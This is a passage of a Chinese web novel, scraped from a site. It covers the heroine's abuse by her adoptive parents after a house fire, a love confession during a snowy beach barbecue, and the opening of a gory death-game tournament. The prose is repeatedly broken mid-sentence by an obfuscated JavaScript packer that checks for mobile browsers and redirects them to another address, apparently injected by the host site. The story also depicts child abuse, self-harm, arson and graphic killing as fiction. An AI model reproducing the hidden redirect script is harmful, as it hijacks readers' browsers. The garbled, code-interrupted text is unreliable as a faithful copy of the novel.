她感到自己被迅速转移到了室外凉爽的空气中。有人给她戴上氧气面罩,检查她的脉搏。她模糊地看到三四个消防员正在奋力扑灭别墅一楼的火焰。 “小姑娘,能听见我说话吗?”一个声音问道。 初与序微微转动眼珠,那时她的右眼还没有受伤,她看到一下摘下面罩的消防员正蹲在她身边。 “火势控制住了,但一楼基本被烧毁了。”另一个消防员跑过来。 蹲在她身边的消防员点点头,目光回到初与序身上:“你叫什么名字?家里其他人呢?” 初与序的喉咙火辣辣地疼,面前挤出几个字:“初…与序。” 消防员们很快灭了火,初与序被送上救护车做了简单检查,除了轻微烟雾吸入外,并无大碍。他们坚持要等她的家人回来,于是她只能站在别墅外的空地上,看着被烧得漆黑的一楼发呆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16168970|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 凌晨一点左右,养父母的车终于出现。 车还没完全停稳,养母就冲了出来:“怎么回事?!房子怎么了?!” 养父的目光扫过被烧毁的一楼,最后落在初与序身上,表情从震惊迅速转为狰狞。他气势汹汹地走过来,声音低沉危险:“是你干的?” 初与序冷冷地抬眼,看着他不说话。 一个消防员上前:“先生,火灾原因还在调查中,您的女儿受了惊吓,需要休息!” “滚开!”养母一把推开消防员,冲到初与序面前,就是一记耳光,“你这个贱货!你知道这房子值多少钱吗?!” 初与序被打得踉跄几步,还没站稳,养父已经一脚踹中她胸口。她闷哼一声,跌坐在地上。 “住手!”消防员厉声喝道,和其他人一起上前阻拦。 但养父母的亲生儿子,她名义上的“哥哥”程恒,已经趁机扯住初与序,在她耳边恶狠狠道:“等他们走了,看我爸妈怎么收拾你。” 消防员们立刻上前,强行将程恒拉开。 “先生女生,我必须警告你们,暴力行为是违法的。”之前救了她的消防员冷声道,“而且火灾现场需要调查,你们不能……” “这是我们的家事,轮不到你管!”养父打断他,随即换上一副假惺惺的表情,“谢谢你们救了我女儿,我会好好‘照顾’她的。” 消防员没有让步:“我需要确认这位小姑娘的安全。根据规定,我们可以联系社会福利部门……” “不需要!”养母尖叫道,“我们是合法收养她的!而且她还有心理问题,她还自残!我们要带她去看医生!”说着,她一把抓住初与序的右手,衣袖滑下,露出整齐的刀疤。 “小妹妹。”消防员蹲下,“你愿意跟我们回消防局做个笔录吗?” 养父立刻插话:“她哪儿也不去,我们需要处理房子的事情,没空陪你们玩警察游戏!” 初与序抬头看着消防员,耸耸肩:“谢谢你们救我,我要回去了。” 消防员叹了口气,从口袋里掏出一张名片,偷偷塞到初与序手中:“有任何需要,随时打电话。” 养父不耐烦地拉着初与序的手腕,往房子走去。养母和程恒跟在后面,嘴里不停地咒骂着。初与序被拽得踉踉跄跄,在进门前的最后一刻,她回头看了一眼。 消防员们站在原地,表情凝重,甚至有人试图冲进来拉她,但门已经重重关上。 被拖进黑暗的走廊时,初与序把那张名片撕碎,吞了下去,销毁了自己第一个也可能是最后一个求救的机会。 而她的右眼,也是在那时被养父一拳打到,没有及时治疗,成了半瞎。 火腿面包的说话声打断了她的思绪:“不过,你为什么还愿意给我炒菜?” 初与序看向它,语气平静:“因为你不想吃泡面…我也不想。” 面包愣住,然后“啪嗒”一下倒在她手边,小声道:“初与序,你真是个奇怪的人。” 初与序垂眸看它。它又坐直身体:“我还是去随歌家蹭饭吧,等我回来要不要给你带点吃的?” “不用了。”初与序说。 面包蹦到地上,挥了挥边角,往门口蹦去:“我会给你偷随歌的草莓牛奶的,记得给我留门啊!” 初与序笑了笑:“注意安全。” 83.海边烧烤和表白 初与序关掉浴室里的淋浴头,雾气缓缓散去,镜子里映出她苍白的脸,发尾还在滴水。她套上宽松的衬衫,走向客厅。 窗外,永冬之城的夜晚依旧灰暗,远处其他区的房子的灯火零星亮着。她靠在窗边,耳骨夹传来微弱的电流,冬逢初用心灵链接询问她的状态。 “没事。”初与序轻轻敲了敲耳骨夹,关闭了链接。 胃里空荡荡的,但她没有任何进食的欲望。初与序缩在沙发角落,看着静音模式下的电视,永冬之城新闻里正在播放系统处理区大厦的后续报道,画面里执行官们依然在排查所谓的“入侵者”。 然后门被敲响了。 凌晨的敲门声很轻,但在寂静的午夜格外清晰。 初与序关掉电视,提着拖鞋拉开房门。 门外,四个队友和一块火腿面包齐刷刷站着,江意手里提着塞满食材的塑料袋,靠在门框上打哈欠,明显是刚被拉起来;随歌怀里抱着便携烧烤架;景明垂肩上坐着晃腿的火腿面包;而冬逢初站在后方,背着随歌的吉他。 “出去吗?海边烧烤。”随歌抱起怀里的烧烤架,“现在。” 初与序望着几人面无表情:“你们知道现在几点了吗?” “你就说去不去吧。” 初与序沉默几秒,转身往屋里走:“等我换衣服。” 夜风从楼道窗户灌进来,屋里传来衣柜开合的声响。火腿面包得意道:“我就说她一定会出来吧。” 初与序再出现时已经换上了灰色大衣,随歌咧嘴一笑,抱着烧烤架就往电梯门冲:“走着!去看永冬之城唯一不会结冰的海!” D区离城中心最远,但离海最近。 “我刚来这儿时,还没有想到永冬之城这地方还有海呢!”火腿面包蹦蹦跶跶。 “不仅有海,还有山呢。”随歌朝着海的方向指去,“这片海叫‘忘忧海’。”他又朝着很远的地方指去,“那里有座山,叫‘别离山’。” “传闻这两个名字是最早一批玩家取的,流传至今,玩家们都很喜欢。” 细雪无声飘落,覆盖了整片沙滩,却唯独无法占领那片泛着莹蓝微光的海面。这是初与序第一次见到海,她踩在雪沙混合的地面上,鞋底发出细微的咯吱声。 “就这儿吧。”冬逢初放下吉他,从随歌手里接过烧烤架。 “锵锵!”随歌突然从背包里掏出几罐液体,“都成年了吧?今晚特供!” 月光下,瓶子表面凝结的水珠泛着冷光。不是草莓牛奶,是酒。 江意伸手去接,随歌却突然缩回手:“等等,意哥你不能喝。” “可以。”江意淡淡道,“偶尔摄入酒精对病情影响概率低于……” “说人话。”景明垂头也不抬地串着肉块。 “我想喝。” 随歌盯着他看了几秒,大笑着把酒罐递给他。 拉坏打开的声响清脆地划破雪夜,初与序接过属于自己的那罐,手指触碰到冰凉的金属。她仰头灌下一口,酒精的灼热感烧穿了永冬之城积蓄在身体里的寒意。 火腿面包在烧烤架旁蹦跳:“我的那份要特辣!等等我只是一块面包为什么能吃烧烤?!” 蓝海微光映照着五张年轻俊美的脸庞,雪花落在烧烤架上,发出细微的嘶响。 “来来来。”随歌从背包里掏出他的相机,调整焦距,“如果有一天我们真的能离开永冬之城,你们想干什么?我要录下来,到时候一个个对照,看谁没做到。” 他把相机对准江意:“意哥,你第一个说吧。” 江意推了推眼镜,镜片反射着火光:“按照父母的期望,我应该是回去继承公司。” “啧什么玩意儿。”随歌撇撇嘴,“谁要听这个?说你自己想干的。” 江意沉默着想了想,望向远处泛着蓝光的海面:“应该是在苏州开间民宿?临水的那种,生意不差,还有风景可以看。” “这才对嘛,不错不错。”随歌满意地点点头,把相机对准景明垂。 景明垂正用琴弦串着一颗蘑菇,闻言抬起头:“话剧演员。” “哇哦!”随歌惊喜地调整镜头,“没想到你喜欢这个!” 景明垂点头:“小时候看过,一直记得。” 第三个是冬逢初,他正在为火腿面包翻烤肠,思考了片刻:“…咖啡店吧?” “就这?”随歌不满地晃镜头,“多说点呗!” 冬逢初瞥了他一眼,火光中,他的轮廓显得格外柔和:“那我也开在苏州江南水乡吧,夏天卖冰奶茶,冬天卖热咖啡。” 江意转向他:“可以在我的民宿旁边。” 第四个是初与序,随歌把镜头转向她时,她正抱着膝盖坐在雪地沙滩上,眼底映着火光。 “…没想过这个问题。”她淡淡道。 “这怎么能没想过?”随歌立刻开始列举:“你可以当职业杀手!开挖掘机!去南极养企鹅!或者和向枝冥一样去山上当道士!你不是喜欢清静吗?” 初与序:“?” 去南极养企鹅是什么鬼啊?!! “或者,你可以来江南水乡。”冬逢初突然开口,“我的咖啡店另一边正好缺家花店。” 初与序怔了怔,望着燃烧的炭火,忽然想起永冬之城的勿忘我,蓝的像这片永不结冰的海。 “那就开花店吧。”她轻声道,“我确实喜欢花。” 随歌把相机转向火腿面包,它在烤架上蹦跶:“我要跟着你们到处转!早上偷喝冬逢初的咖啡,中午帮江意的民宿看门,下午去景明垂的话剧院捣乱,晚上蹭随歌做的晚饭,然后回初与序的花店闻花香!” “这是个很好的愿望!”随歌竖起大拇指,然后把相机转向自己,镜头里映出他明亮的眼睛、黄色的头发,和身后无垠的雪夜蓝海。 “我啊…”他的声音忽然轻了下来,“努力回到原来的乐队,在真正的舞台上,给真正的观众唱歌,唱一首关于我们的歌。” 其余四人纷纷放下手中东西,开始鼓掌。火腿面包蹦蹦跳跳:“加油啊,你一定能行的!” 相机红光闪烁,将这一刻永远保存。炭火噼啪作响,雪花落在几人肩头,初与序望着眼前的火堆,第一次觉得“未来”这个词有了温度。 随歌和冬逢初对视一眼,忽然把吉他塞进冬逢初怀里,眼睛里闪着光:“来徒弟,展示下你这几周的成果。” 冬逢初接过吉他,修长的手指悬在琴弦上方,犹豫了片刻:“现在……?” 随歌偷偷肘了肘他,在他耳边小声说了一句话。冬逢初点了点头,声音很轻:“可以弹一首英文歌……” “我教的!”随歌得意道:“他学了三遍就能弹出调子,这首歌简直太适合他了,我都怀疑他以前是不是学过几遍。” 冬逢初垂眸,手指轻轻拨动琴弦,吉他声在雪夜中荡开一圈。他从包里取出一张手写歌词稿,纸页边缘有些卷曲,字迹却工整得不像话,似乎反复誊抄过很多次。 初与序看见纸页上的英文歌名字:《Time machine》。翻译为:《时光机》。 所有人都安静了下来,火光映照着冬逢初的侧脸,他的睫毛在眼下投下细碎的阴影,前奏如流水般倾泻而出。 “Staring at stars,watching the moon.” (凝视着星星,望着月亮) “Hoping that one day they''ll to you.” (希望他们能帮我找到你) 他的声音比平时说话时更柔和,带着一种清冽的磁性。每一个尾音都轻轻上挑,仿佛在诉说一个不愿醒来的梦。 “Why do the stars shine so bright in the sky?” (为什么星星闪耀之时) “If most of the people are sleeping at night.” (正是人们美梦之期) 初与序抱着膝盖坐在沙滩上,她从未听过冬逢初唱歌,更没想到他会选择这样一首歌。 “Why do we only have one chance to try?” (为什么我们只有一次机会来尝试) “I wish I could go back in time.” (我真希望可以回到过去) 海浪声成了最自然的伴奏,而歌声则像是冬逢初讲给大海的故事。 “I wish I could go back in time…” (我真希望可以回到过去) 唱到这一句时,冬逢初忽然抬起头。 他的目光穿过跳跃的火焰,直直望进初与序的眼底。那一瞬间,初与序感觉自己的呼吸停滞了。他的眼神太过专注,仿佛整个世界只剩下她一个人,似乎下面的歌词是唱给她听的。 “Each time I fall asleep...” (每当我睡着时) “I always see you there in my dreams...” (你总是会出现在我的梦里) 冬逢初的眼睛在火光中呈现出一种深邃的蓝色,像是永冬之城的勿忘我,又像是夜空与海洋的交界处。 “It''s like ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16168971|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' going back in a time machine...” (那感觉就像乘坐时光机回到了过去) 他的声音变得更轻了,却更加清晰。他的手指依旧稳稳地按着和弦,目光却始终没有移开。初与序感觉自己的心脏跳得很快,耳骨夹微微发烫,她不确定这是心灵链接的共鸣,还是自己的错觉。 随歌在一旁露出促狭的笑容,但难得地没有出声调侃。江意托着下巴,掩饰笑意。景明垂则假装没看见,嘴角微微扬起。而火腿面包安静地窝在初与序腿边,盯着烤架上的烤肠流口水。 “I wanna see you in my dreams.” (我想在梦里见到你) “I''m trying to wake up again.” (我再一次尝试着醒来) 冬逢初唱完最后一个音符,余音在海风中缓缓消散。他的手指按在琴弦上止住震动,目光仍停留在初与序脸上,过了几秒后移开。 随歌突然跳起来:“啊我想起来了,我炉子上还炖着汤,我先回去,马上回来!” “呃…刚刚我有东西落在沙滩那头了。”景明垂站起身。 江意镇定自若地起身:“我和你们一起去。” 三人默契地转身就走,动作快得像在逃离副本BOSS。 “等等我还没吃完……”火腿面包正叼着半根烤肠,被江意一把拎起就离开此地。 火堆旁只剩下冬逢初和初与序。 海风卷着雪花从两人之间穿过,初与序低着头,盯着火堆,忽然觉得喉咙发紧。 “阿序。” 冬逢初的声音很轻,却让她心跳漏了一拍。她抬头,看见冬逢初从身后拿出一束勿忘我,蓝色的花瓣上还沾着雪粒,在火光中微微颤动。 “我…我喜欢你。”他说的很慢,“你愿不愿意和我…交往?” 初与序的大脑瞬间空白。 她猜过冬逢初的心意,也清楚自己的感情,但当真听到这句话时,所有的思绪都变成了乱码。她下意识摸向口袋的烟盒,却摸了个空。 ……景明垂趁她不注意,把整包烟顺走了。 “你…有烟吗?”她的声音干涩。 冬逢初沉默地掏出烟盒,抖出两根。火光跳动间,他们各自点燃,火星在雪夜里明明灭灭。 烟静静燃烧着,灰白色的烟雾被海风吹散,融入永冬之城的夜色中。初与序的脑海里只剩下三个字“怎么办”。自己被爱的第一反应不是喜悦,而是一种近乎恐惧的自卑。 一片寂静,没有人说话,只剩下篝火噼啪作响。雪下得更密了,落下烧红的木炭上化作细小的白烟。这一次,初与序吸烟的速度明显加快,面上不知所措。 直到烟快烧尽,初与序才开口:“冬逢初,我不明白为什么你喜欢我。” “我性格不好,我内向拧巴,遇到事情第一反应就是逃避。我右眼还看不见。我还有病,不是比喻,是真的精神病。我还是个纵火犯,差点烧死自己,我就是故意的。我还不懂怎么对人好,我连火腿面包都照顾不好,只会给它吃泡面。我不会唱歌,不会弹吉他。我很差劲,连我妈都不愿意养我,你不能和一个有心理疾病的人谈恋爱。” “……我、算了,我要走了。”初与序猛地站起身,往另一边走,像是要逃离什么。 “等等!” 冬逢初站起身,握住她的手。他的掌心很暖,那温度烫得初与序浑身一颤。 她停下脚步,转过身。 冬逢初看见初与序竟然哭了,眼泪静静地往下掉,在苍白的脸上划出晶亮的痕迹。 “冬逢初,你不能这样。”初与序声音闷闷的,“你没有理由喜欢我。” 冬逢初走近了一步:“我不需要理由来喜欢你,我喜欢你,不是因为你做了什么,没做什么,也不是因为你经历了什么。我爱的,就是此刻站在我面前的这个完整的阿序。” “我们总是事后回看人生,觉得好像有一条笔直的、正确的康庄大道。但人生从来不是一条路,它是一片巨大的荒野。你觉得自己迷失了方向,但我想说,你经历过很多槽糕的事,却没有变成一个槽糕的人,这本身就是一个奇迹。” “我发誓你真的如此珍贵,你是在废墟里开出的最坚韧的花。我的真心它存在的全部意义就是奔向你,我需要你。” “你的未来,我真心想参与…不要推开我。”他声音很轻,“阿序,你愿意吗?” 远处,最后一缕烟从烧烤架的余烬中升起,消散在永冬之城的夜空中。冬逢初将初与序搂进怀里,她的泪浸湿了两人的大衣。但这一次,她真的没有推开他。 “我愿意。” 84.求求你们互相背刺吧 当冬逢初表白时,远处的礁石后面,三颗脑袋加一块面包正鬼鬼祟祟地躲着。 “看见没看见没?”火腿面包在随歌头顶蹦跶,“花!他拿花出来了!表白需要从一束花开始!!” 江意一把捂住它的嘴:“小声点,你想被发现吗?” 在看到初与序竟然流泪了的时候,随歌抓着一把烤串咬牙切齿:“靠,我徒弟这木头,表个白能把人说哭?”他作势要冲过去,“老子去……” 江意一把拽住他后领:“看清楚。” 火光中,冬逢初将初与序拥入怀中,手指穿过她散落的发丝,动作轻柔得像对待易碎的梦境。 “…算他过关。”景明垂无奈道。 火腿面包失望道:“他们怎么不亲啊!电视剧里不是这么演的!” “闭嘴吧你。”随歌揉了揉发酸的脖子,笑道,“这才是他们啊,纯爱懂不懂?算了你个面包肯定不懂。” 收拾烧烤架时,初与序耳尖的红晕还没完全褪去,冬逢初默默接过她手里的炭火盆,两人的手指在黑暗中不经意相碰,又迅速分开。 “咳。”江意假装没看见,把空罐子塞进垃圾袋,“团队赛的日子马上到了,还有四天。” “不管了!”火腿面包从随歌的“束缚”中挣脱,蹦到烧烤架上,“我们有新晋情侣buff加成!” 初与序无奈地看着三人和一个面包,接过冬逢初怀里的勿忘我花束,想着等回家,就放在D栋1802的客厅茶几上。 “啧啧啧。”随歌勾住冬逢初肩膀,压低声音,“瞧瞧。为师这招好使吧?追姑娘尤其是初与序这种容易自我怀疑的,你就得可劲儿夸,把她自己都没发现的好全给她摆明了。她自信了,心里那关过去了,看清自己真心了,这事儿不就成了吗?她答应你,是因为她自己想通了、愿意了,这才是最靠谱的!不错吧?” 冬逢初垂下眼笑了笑:“是,师父。” 五人沿着海岸线往回走,身后留下一串深深浅浅的脚印。永冬之城的海依然泛着蓝光,说笑声飘散在飘雪的夜空中。 很快来到团队对抗赛当天。 永冬之城的天空依旧灰蒙蒙的,但整个世界的氛围却比往日躁动百倍,论坛彻底炸开了锅,热搜前十的榜单连续几天被比赛相关词条屠版: #团队赛四十强名单曝光# #D栋“偷草莓牛奶计划组”能否卫冕?# #神秘单人队伍首次参赛# #屠宰场成员是否会像以往一样参加比赛?# 街道上,所有公共屏幕都在循环播放比赛规则: 【团队对抗赛】 「参赛队伍:63支(含1支单人队伍)」 「赛制:生存淘汰赛」 「特殊规则:本场允许玩家击杀玩家」 初与序站在车站边广场的巨型屏幕下,仰头看着滚动播放的队伍名单,D栋的几支队伍被标红置顶。远处,江意和景明垂正在做最后的装备检查,随歌则兴奋地对着街边的监控摄像头比剪刀手,但不难看出所有人都有点紧张。 突然,所有公共屏幕同时黑屏,紧接着浮现出血红色的倒计时: 【00:30:00】 初与序握紧了短刀,冰蓝色的刃身上,勿忘我花纹隐隐发亮。 站台的广播响起冰冷的机械音,几辆列车无声地行入轨道,所有公共屏幕同步更新: 【请所有参赛玩家按指示登车】 初与序一行人站在站台边缘,看着其他队伍陆续登上不同的列车。A区的几支强队率先出发,B区紧随其后,而他们的队伍被安排在最后一辆。 当他们的列车缓缓停靠,车厢门滑开,五人跟着人群走入列车坐好时,初与序发现车厢里几支陌生队伍,都是清一色的高排名玩家。 有人抱壁假寐,有人擦拭武器,还有人直勾勾盯着初与序一行人,眼神里带着毫不掩饰的敌意。 “哇哦。”随歌吹了声口哨,“全是硬茬子啊。” 列车启动的瞬间,所有车窗变成不透明的黑色,车厢广播响起: 【欢迎各位玩家来到第9972届永冬之城团队对抗赛】 【本届比赛参赛队伍:63支。总人数:315人】 【注意事项如下:】 【1.赛场内允许玩家间自由交战,击杀不计入违规】 【2.禁止使用场外援助道具(如执行官权限、未登记武器、系统商店物品等)】 【3.超时未完成目标者,全员淘汰】 【4.最终获胜队伍将赢得基础一千积分,以及其余奖励品】 【新一轮赛事即将开启,本次列车起点站:永冬之城;终点站:《求求你们互相背刺吧》。请配合工作人员妥善安置行李,防止遗失。】 【祝各位——玩得愉快】 “这副本名字听上去不简单啊。”随歌小声嘀咕,“难怪是生存淘汰类副本。”他转向江意,“意哥,咱们有什么计划没?” 江意瞥了他一眼:“计划?大难临头各自飞,然后活着出来。” 随歌无奈地移开视线,显然对江意的说法风格习以为常。广播适时地响起刺耳的提示音: 【所有玩家请注意:列车即将到站,比赛副本已正式开启】 【当前存活人数:315/315】 车厢门“唰”地打开,五人顺着人群走下列车,映入眼帘的是一个巨大的封闭竞技场。灰白色的穹顶笼罩着整个空间,刺眼的冷光从头顶倾泻而下,将所有玩家的影子钉死在脚下。 五人的身影混在人群中,初与序走在最前面,黑发被冷风掀起,露出一双毫无波澜的眼睛。 竞技场中央,一队穿着统一黑色制服的执行官静立着,手中托着金属盘,上面整齐排列着泛着幽蓝冷光的颈环监视器。 “请所有玩家主动戴上。”为首的执行官声音机械冰冷,毫无起伏,“拒绝者,即将处决。” 人群中爆发出一阵骚动,有人后退,有人咒骂,但更多的只是平静地站着。 初与序伸手接过颈环,金属触感冰凉,蓝光在她指尖流淌。她毫不犹豫地扣上自己的脖颈,咔哒一声轻响,颈环收紧。 冬逢初看了她一眼,没说话,同样戴上。景明垂皱了皱眉,但没有反抗。江意和随歌对视一眼,沉默地照做。 其余玩家被迫效仿,仅有两位胆大玩家试图藏起颈环,却在下一秒被执行官无声地按倒在地,没有警告,没有怜悯。他们颈环蓝光骤然猩红,随即是血肉爆裂的闷响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16174644|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血雾弥漫,人群死寂。 【存活人数:313/315】 随歌不由得摇头:“他们俩胆子还真大,比赛刚开局就挑战执行官的权威。” 初与序抬手摸了摸颈环,没什么情绪。 待人群彻底安静下来,为首的执行官终于开口,他的声音在空旷的竞技场中回荡:“欢迎各位来到团队对抗赛。” 他站在高台之上,表情平静漠然。 “这里是生与死的交界处,是人性最后的试炼场。313人进入,仅部分人能够离开。” “游戏一共四天,每天进行1-2场生死挑战。失败者,即意味着淘汰,也就是死亡。” 他顿了顿,声音里渗出一丝不易察觉的残酷笑意:“规则只有一条:活下去。手段不限,欺骗、背叛、杀戮……只要你能活到最后。” 死一般的寂静笼罩全场。 趁着现在,初与序的目光迅速扫过场地上聚集的玩家。不看不知道,一看吓一跳——宋睿、林海,还有另一个看上去身体不好但很能打的陌生面孔,三人站在一起,他们的队伍名正是“今晚吃什么。” “他们怎么把宋睿拉来参赛了?”冬逢初微微皱眉,“这下坏了……” 但最令人震惊的,是站在角落里的那个红发身影。 随歌倒吸一口冷气,低声骂了句:“我靠,怎么是齐无尽?他向来惜命,不可能参加这种特容易死人的比赛的。” 齐无尽穿着那身标志性的风衣,红发在苍白的光线下如火焰般刺目。他没有穿执行官的制服,而是以玩家身份参赛,就是那支单人队伍。 宋睿那边也注意到了他们,林海甚至朝他们挥了挥手打招呼。而齐无尽只是静静地站在那里,目光穿过混乱的人群,直直地看向初与序等人,就像早已预料到这一切。 没等所有人反应过来,他们脚下的地面突然剧烈震动。 初与序神色一变,还未等她出声警示,整片竞技场的地板骤然塌陷…不,不是塌陷,而是在机械轰鸣声中重组、变形,金属板块飞速拆解又重组。 所有玩家站立不稳,有人踉跄跌倒,又被身旁的人推开。 三秒后,震动停止。 313人站在一个直径百米的巨大圆形平台上,平台表面被荧光切割成几百个规整的六边形格子,每个格子刚好容纳一人站立。从边缘处往下看,深不见底。 “第一场游戏,正式开启。” 执行官的声音从四面八方传来: “规则如下——” 初与序的鞋底传来细微的震动感,她低头,看见格子的接缝处渗出暗红色的光,如同血管般脉动。 “当音乐停止时,立即停止移动。移动者,淘汰。每隔30秒,随即有5个格子会塌陷,站在上面的玩家直接坠落。” “附加规则:平台将随即倾斜、震动。” 下一秒,平台突然剧烈倾斜,几个站立不稳的玩家顿时滑向边缘。初与序立即压低重心,鞋底与地面摩擦。她看到景明垂单手抓住网格稳住身体,而江意已经利落地单膝跪地。 远处突然传来重物坠地的闷响,紧接着是存活玩家撕心裂肺的尖叫声,有小部分玩家已经摔出了平台,死亡。 “游戏,开始。” 85.求求你们互相背刺吧 轻快的电子乐在竞技场中响起,带着某种诡异的欢快节奏。 初与序轻轻迈出半步,目光扫过四周。玩家们像被上紧发条的玩偶,开始在这致命的舞池中谨慎移动。有人踮着脚尖,有人贴着格子边缘滑行,所有人都保持着一种紧张的、随时可以定格的姿态。 十点钟方向,宋睿的队伍正缓慢推进。那个戴着单边眼镜的男人走在最前面,每一步都精准地踩在格子中央,他身后的林海和宋睿如影随形,动作整齐。 而在平台另一侧,齐无尽独自站立在对角线位置。他突然抬起头,对上初与序的视线,嘴角勾起一个意味深长的弧度。 初与序移开了目光,没给这人好脸色。 尖锐的警报声突然响起,平台毫无征兆地向左侧倾斜近45度,金属表面瞬间变成死亡斜坡,十几个玩家同时失去平衡,翻滚着滑向边缘! “啊——!” “救——!” 惨叫声此起彼伏,某个扎马尾的女孩在空中徒劳地抓挠,最终摔在下方的地面上,爆开鲜红浆液。更远处,两个互相拉扯的男人在坠落过程中撞上凸起的结构,折断的肢体以诡异的角度挂在钢架上。 音乐戛然而止。 “淘汰判定开始。” 三个没收住惯性的玩家还在滑动,颈环立刻迸发出刺目蓝光。高压电流的噼啪声里,他们的身体剧烈抽搐,最终僵直着载进血泊。 初与序单膝跪在最高处,黑发垂落遮住神情。她身后,冬逢初稳住身形;景明垂用琴弦勾出网格接缝处站直身体。而齐无尽的身影在倾斜的平台上格外醒目,他站在格子中央,当某个坠落的玩家擦过他身侧时,他甚至没有抬眼,只是微微侧身避开飞溅的血沫。 三十秒的死亡倒计时结束。 五声金属断裂的脆响几乎同时炸开,随歌左脚刚踏出的瞬间,他身前的格子突然崩裂。 “操!”他猛地收脚,身体因惯性前倾,整个人几乎要载进突然出现的黑洞里。 江意一把拽住他后领,随歌的鞋底擦着塌陷边缘堪堪停住,碎石簌簌坠入深渊,连回声都没有。他喘着气,冷汗顺着太阳穴滑下。 不远处传来更凄厉的惨叫,一个戴眼镜的男人半个身子已经陷进碎裂的格子,双手死死扒着边缘。他的队友试图拉住他,可整个格子在下一秒彻底崩塌。男人绝望的瞳孔在随歌视线中急速缩小,最后定格在扭曲的恐惧中。 坠落的风声裹着血味扑上来,随歌下意识闭了闭眼。 “别看。”冬逢初单手按在随歌肩上,轻声安慰。随歌朝他扬了下眉毛,竖了个大拇指,“放心吧,为师不是怕,就是可惜了他身上那件外套看上去料子不错,本来打算去问问有没有链接的。” 冬逢初:“……” 江意摁开机械手环,开始计时,准备下一个三十秒。 第二轮开始,音乐再次响起时,幸存者们像惊弓之鸟般开始移动。这次没人敢停下,即使他们知道音乐停止时静止才是生路,但脚下随时可能消失的格子逼着他们不断寻找更安全的位置。 “我们五个在一起,保持平衡。”初与序轻声和队友说,“去那边。” 这一次的音乐骤然加快节奏,鼓点如同催命的丧钟般砸在每个人心头。 初与序每一步精准踩在格子中央,眼角余光扫过另一支队伍。他们正在用人体搭桥,三个壮汉趴在危险区域,用背部为队友铺路。其中一人突然惨叫,他膝盖下的格子毫无预兆地裂开,整个人像断线的木偶般坠落。 “左边!”景明垂突然喝道。 随歌猛地侧滚避开,原先站立处瞬间塌陷,飞溅的金属碎片在他脸颊划出血线,他擦掉脸颊上的鲜血:“这鬼东西根本……” 平台毫无预警地开始旋转。 七十度,一百二十度,一百八十度。 离心力将玩家甩向边缘,金属表面反射的冷光在玩家们惊恐的脸上疯狂闪烁。初与序一行人压低重心,勉强稳住身形。 齐无尽站在旋转平台的边缘地带,衣摆在气流中翻飞,整个人却稳如雕塑。 “救、救命!” 一个男人被甩向边缘,在即将坠落的瞬间,他本能地抓住了齐无尽的脚踝。巨大的下坠力道让齐无尽身形一晃。但他很快稳住,低头冷冷注视着那个悬挂在死亡边缘的男人。 “放手。”他的声音平静。 “求求你…拉我上去…”男人涕泪横流。 齐无尽的眼神没有丝毫波动:“你知道我是谁,放手。” 男人疯狂摇头:“齐无尽……!” 齐无尽修长的手指从风衣内侧抽出一张扑克牌,锋利的牌角中冷光下泛着寒芒。他淡淡道:“事不过三,最后一次。” 男人反而抓得更紧了,在齐无尽的脚踝上留下一片淤青。 齐无尽手腕一抖,扑克牌划出一道银线。 “啊——!!!” 半截断掌带着喷溅的血弧飞起,男人扭曲的面容在惨叫声中急速下坠,最终在数十米下的金属地面上摔得粉碎。而那张沾血的扑克牌在齐无尽指间翻转,最终被随手抛向深渊。 “齐无尽的武器是扑克牌。”江意轻声解释,“他惜命,能给那个男人三次机会已经不错了。” 初与序侧头扫了江意一眼:“很漂亮的一刀。” 三十秒倒计时再次开始,很快,一声刺耳的金属断裂声炸响。 站在平台中央的高个女人突然身形一沉,她脚下的格子毫无征兆地崩塌,在坠落的刹那,她本能地抓出了身旁同伴的衣领。 “放开我!” 被抓住的同伴惊恐地瞪大双眼,手指疯狂抓住着光滑的金属表面。指甲在格子上刮出带血的痕迹,却止不住两人一起滑向边缘的趋势。 “要死一起死!”坠落者发出歇斯底里的狂笑,拽着同伴衣领的手青筋暴起。 在无数双眼睛的注视下,这对临时结盟的玩家纠缠着坠入深渊,撞击声从底部传来时,平台上的血迹已经勾勒出两道交错的红色轨迹。 下一秒,断裂的脆响突然从景明垂脚下传来,格子“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 